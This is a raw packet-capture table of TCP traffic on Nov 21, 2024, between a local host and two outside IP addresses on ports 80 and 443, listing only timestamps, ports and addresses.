Nov 21, 2024 14:26:35.912280083 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:35.944700003 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.944755077 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.944963932 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.944998980 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.945025921 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.945046902 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.945841074 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.945945024 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.946000099 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.946683884 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.946733952 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.946798086 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.947518110 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.947568893 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.947572947 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.948467970 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.948519945 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.948537111 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.949265957 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.949316025 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.949451923 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.950118065 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.950200081 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.950223923 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.951000929 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.951066017 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.951132059 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.951869965 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.951920033 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.951986074 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.952666998 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.952717066 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.952822924 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.953557968 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.953668118 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.953712940 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.954381943 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.954494953 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.954550028 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.955331087 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.955379009 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.955420971 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.956228971 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.956340075 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.956350088 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.957087040 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.957138062 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.957356930 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.958213091 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.958362103 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.958425999 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.959273100 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.959327936 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.959367990 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.959873915 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.959927082 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.959985018 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.960778952 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.960921049 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.960973024 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.961491108 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.961611986 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.961710930 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.962079048 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.962173939 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.962204933 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.962956905 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.963149071 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.963206053 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.963773966 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.963838100 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.963893890 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.964678049 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.964761019 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.964885950 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.965550900 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.965687037 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.965748072 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.966411114 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.966461897 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.966461897 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:35.966609955 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.967398882 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.967547894 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.967602968 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.968533993 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.968667984 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.968727112 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.969228029 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.969284058 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.969394922 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.969898939 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.969965935 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.970029116 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.970135927 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:35.970192909 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:35.970771074 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:35.970784903 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:35.970803022 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.970854044 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.970993996 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.971525908 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.971632004 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.971689939 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.972333908 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.972451925 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.972511053 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.973196030 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.973330975 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.973392963 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.974126101 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.974271059 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.974329948 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.975022078 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.975116014 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.975167990 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.975728035 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.975841045 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.975888014 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.976587057 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.976672888 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.976722002 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.977497101 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.977607965 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.977658033 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.978317976 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.978506088 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.978573084 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.979192019 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.979238987 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.979376078 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.980031013 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.980074883 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.980129957 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.980948925 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.980994940 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.981045961 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.981760025 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.981832981 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.981877089 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.982933044 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.983031988 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.983079910 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.983841896 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.984149933 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.984200954 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.984690905 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.984757900 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.984803915 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.985312939 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.985444069 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.985488892 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.986032963 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.986068964 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.986118078 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.103461981 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.103535891 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.103655100 CET	49740	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.103921890 CET	49740	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.103962898 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.103993893 CET	49740	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.104008913 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.107115030 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.107144117 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.107219934 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.107389927 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.107398033 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.110939980 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.111124992 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.111324072 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.111380100 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.111429930 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.112171888 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.112234116 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.112246990 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.112989902 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.113048077 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.146043062 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.146265984 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.146348953 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.146461010 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.146472931 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.146528006 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.147118092 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.147229910 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.147294998 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.147984982 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.148085117 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.148142099 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.148824930 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.148972034 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.149022102 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.149671078 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.149811983 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.149866104 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.150531054 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.150742054 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.150789022 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.151608944 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.151755095 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.151829958 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.152250051 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.152409077 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.152470112 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.153107882 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.153229952 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.153287888 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.153944016 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.154100895 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.154153109 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.154822111 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.154912949 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.154962063 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.155738115 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.155937910 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.156002998 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.156668901 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.156718016 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.156780958 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.157478094 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.157613039 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.157660007 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.158242941 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.158346891 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.158405066 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.159090996 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.159207106 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.159965038 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.160027027 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.160073042 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.160799980 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.160867929 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.160881042 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.161684990 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.161748886 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.161818027 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.162508011 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.162559032 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.162616968 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.163374901 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.163422108 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.163500071 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.164248943 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.164298058 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.164381981 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.165136099 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.165204048 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.165230036 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.165745020 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.165950060 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.166098118 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.166147947 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.166790962 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.166906118 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.166954994 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.167666912 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.167732000 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.167778969 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.168581009 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.168670893 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.168731928 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.169388056 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.169547081 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.169595957 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.170187950 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.170321941 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.170372009 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.171046019 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.171149969 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.171197891 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.171998978 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.172182083 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.172230005 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.172799110 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.172899961 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.172945023 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.173630953 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.173759937 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.174524069 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.174532890 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.174623966 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.174681902 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.174745083 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.175380945 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.175491095 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.175538063 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.176273108 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.176440001 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.176487923 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.177031994 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.177047014 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.177350044 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.177455902 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.177510977 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.177510977 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.177525997 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.178020000 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.178103924 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.178153038 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.178769112 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.178951025 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.179001093 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.179635048 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.179743052 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.179802895 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.180501938 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.180594921 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.180666924 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.181346893 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.181466103 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.181514025 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.182198048 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.182303905 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.182351112 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.183054924 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.183089972 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.183207035 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.183540106 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.183566093 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.183568954 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.183957100 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.183964968 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.183970928 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.184076071 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.184796095 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.184837103 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.184868097 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.185046911 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.185627937 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.185682058 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.185722113 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.186490059 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.186602116 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.186649084 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.187334061 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.187416077 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.187469959 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.312247992 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.312313080 CET	80	49734	185.215.113.16	192.168.2.5
